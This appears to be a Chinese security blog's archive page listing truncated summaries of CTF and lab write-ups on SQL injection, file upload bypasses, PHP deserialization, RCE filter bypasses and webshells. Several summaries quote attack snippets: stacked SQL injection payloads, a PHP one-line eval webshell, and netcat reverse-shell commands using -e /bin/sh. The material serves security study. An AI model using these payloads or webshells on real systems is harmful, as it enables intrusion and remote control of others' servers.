10 2021 档案
摘要:什么是webshell webshell,简称网页后门。简单来说它是运行在web应用之上的远程控制程序。 webshell其实就是一张网页,由PHP、JSP、ASP、ASP.NET等这类web应用程序语言开发,但webshell并不具备常见网页的功能。例如登录、注册、信息展示等功能,一般会具备文件管
阅读全文
摘要:[极客大挑战 2019]Upload 判断文件头内容是否符合要求,这里举几个常见的文件头对应关系: (1) .JPEG;.JPE;.JPG,”JPGGraphic File” (2) .gif,”GIF 89A” (3) .zip,”Zip Compressed” (4) .doc;.xls;.xl
阅读全文
摘要:[强网杯 2019]随便注 第一种方法:堆叠注入 payload:1';or 1=1 查看数据库:1';show databases; 查看表名:1';show tables; 查看这两个表的列值:1';show columns from words; 1';show columns from `1
阅读全文
摘要:[极客大挑战 2019]PHP 解题思路:打开题目,提示有备份=源码。于是上手7kb加CTF源码泄露字典。 发现www.zip压缩包,下载解压后发现源码 <?php include 'flag.php'; error_reporting(0); class Name{ private $userna
阅读全文
摘要:转载自:https://arsenetang.github.io/2021/08/31/反序列化篇之session反序列化/ Session反序列化 Session是一次浏览器和服务器的交互的会话,在ctf中,Session往往有妙用,可以实现反序列化和文件包含,接下来我们先来看看Session具体
阅读全文
摘要:转载自:https://arsenetang.github.io/2021/08/17/反序列化篇之pop链的构造(下)/ php反序列化详解参考:https://www.cnblogs.com/pursue-security/p/15291087.html php反序列化之魔法函数详解:https
阅读全文
摘要:第一关 不使用过滤器 后台代码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert
阅读全文
摘要:netcat 一句话反弹 获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh或-e /bin/bash) 正向shell: 客户端主动连接服务器并获取服务器shell 客户端主动连接并得到反弹shell nc 服务端ip 8888 服务端监听连接 nc -lvp 8888 -e
阅读全文
摘要:转载自:https://arsenetang.github.io/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/ 在ctf中,有时会遇到无回显rce,就是说虽然可以进行命令执行,但却看不到命令执行的结果,也不知道命令是否
阅读全文
摘要:转载自:https://arsenetang.github.io/2021/07/26/RCE篇之无参数rce/ 无参数rce 无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果,这在ctf中也算是一个比较常见的考点,接下来就来详细总结总结它的利用姿势
阅读全文
摘要:转载自:https://arsenetang.github.io/2021/07/28/RCE篇之无字母数字rce/ 无数字字母rce 无数字字母rce,这是一个老生常谈的问题,就是不利用数字和字母构造出webshell,从而能够执行我们的命令。 核心代码 <?php highlight_file(
阅读全文
摘要:转载自:https://arsenetang.github.io/2021/07/20/RCE篇之命令执行中的各种绕过/ 绕过长度限制 linux 中的>符号和>>符号 (1)通过>来创建文件 (2)通过>将命令结果存入文件中 使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该
阅读全文
摘要:发现题目需要登录,先任意输入admin/admin进行登录尝试。没什么反应。抓包看数据。可以看见一条特殊字符串Basic realm="Do u know admin ?,暂时没有其他线索,我们假设用户名就是admin,然后进行暴力破解。 Basic表示基础认证,字符串格式xxxxxxxxx==大概
阅读全文
摘要:pass-01-js检查 源码 因为是前端js检查,所以可以通过禁用js或f12删除form标签中的checkFile函数进行绕过。还可以通过bp抓包修改文件类型(上传shell.jpg改为shell.php) pass-02-只验证Content-type 源码 因为仅仅判断content-typ
阅读全文
摘要:Git 源码泄露 开发人员会使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以利用这个漏洞直接获得网页源码。 确定是否存在泄漏 想要确定是否存在这个漏洞,可以通过以下方式。首先是看看有没有提示醒目地指出 G
阅读全文
摘要:Request 库 get 方法 Python requests 库的 get()方法非常常用,可以用于获取网页的源码等信息,该方法的语法为: requests.get(url, params=None, **kwargs) 参数说明 url 拟获取页面的url链接 params url中的额外参数
阅读全文
摘要:文件上传 一句话木马 利用文件上传漏洞往目标网站中上传一句话木马,然后就可以在本地获取和控制整个网站目录。利用一句话木马进行入侵时需要满足木马上传成功未被查杀,知道木马的路径在哪并保证上传的木马能正常运行。一个简单的 PHP 一句话木马如下: <?php @eval($_POST['flag'])
阅读全文
摘要:抓包 BurpSuite 是非常实用的抓包工具,使用 Burp Suite 之前需要先在 Firefox 设置代理。首先需要打开 Firefox 的设置页面,选择网络选项。选择手动代理配置,BurpSuite 的 HTTP 协议默认代理是 127.0.0.1 的 8080 端口。设置之后,Firef
阅读全文
摘要:后台扫描 在拿到一个网页之后除了打开 F12 和抓包以外,还可以考虑扫一下后台,所谓扫描后台就是扫描站点的目录下还有哪些页面可以访问,看一下有没有类似管理员页面、备份文件泄露和其他文件等。 御剑后台扫描 御剑后台扫描是 T00LS 大牛的作品,可以用于扫描后台,同时这也为程序开发人员增加了难度,需要
阅读全文
摘要:匹配过滤 在有的 Web 题目中会使用字符串匹配或正则表达式过滤传入的变量,此时看懂匹配规则构造正确的变量就很重要。 JavaScript match() 方法 match() 方法可在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。该方法类似 indexOf() 和 lastIndexOf
阅读全文
摘要:序列化与反序列化 magic 方法 PHP 的面向对象中包含一些魔术方法,这些方法在某种情况下会被自动调用。 magic 方法功能 __construct() 类构造器 __destruct() 类的析构器 __sleep() 执行 serialize() 时,先会调用这个函数 __wakeup()
阅读全文
摘要:文件包含漏洞 为了更好地使用代码的重用性,可以使用文件包含函数将文件包含进来,直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控,而服务器端未
阅读全文
摘要:特殊变量 可变变量 一个可变变量 “$$” 获取了一个普通变量的值后,用这个值作为这个可变变量的变量名。一个美元符号表示提取变量中的值,而 2 个连续的美元符号表示用某个变量的内容作为变量名,再来访问该变量。例如以下代码: <?php $a = "b"; $b = "c"; $c = "a"; ec
阅读全文
摘要:PHP 弱类型 php比较2个值是否相等可以用“==”或“ ”,“==”会在比较时自动转换类型而不改变原来的值,因此这个符号经常出现漏洞。“==”比较相等的一些常见值如下,当某些语句的判断条件是使用“==”来判断时,就可以使用弱类型来替代。值得一提的是“0e”开头的哈希字符串,php在处理哈希字符串
阅读全文
摘要:less-42 开页面,似曾相识,像极了前边的二次注入,但是这里忘记密码``创建帐号都是没用的功能,好像就没法二次注入了,只有尝试登录了(像极了现实生活的注入,先登陆,再注入),登陆后出现了修改密码的界面 2.出现了这个画面,尝试在三个框里注入,尝试了很多都失败了,猜想是'这些符号被过滤了,只好lo
阅读全文
摘要:less-38 判断注入类型 输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。 把后面的信息注释掉,网页返回正常信息,说明此处存在单引号闭合的字符型注入。 堆叠注入 此处使用 Less 1 的 payload 就可以完成注入,此处用于测试堆叠注入。所谓堆叠注入就是在原语句后加上
阅读全文
摘要:这六关都是关于宽字节注入的,分为GET/POST型,其实都一样,只不过POST要用一下burp 原理 mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \'
阅读全文
摘要:less-21 圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登录的uname,所以猜测:本题在cookie出加密了字符串; 查看php文件确实如此,所以只需要上传payload的时候base64加密一下就行了。 看到cookie是YWRtaW4%3D,和页面显示的不一样 但
阅读全文
摘要:less-11 本关还可以使用union联合查询注入和盲注 (1)使用burpsuite抓包,修改参数构造payload。 输入uname=admin' and 1=1--+&passwd=admin&submit=Submit 可以登录 (2)输入uname=admin' and 1=2--+&p
阅读全文
摘要:几个常用的函数: 1.version() -- Mysql版本 2.user() --数据库用户名 3.database() --数据库名 4.@@datadir --数据库安装路径 5.@@version_compile_os --操作系统的版本 常用的语句(): 1.查询数据库的信息:selec
阅读全文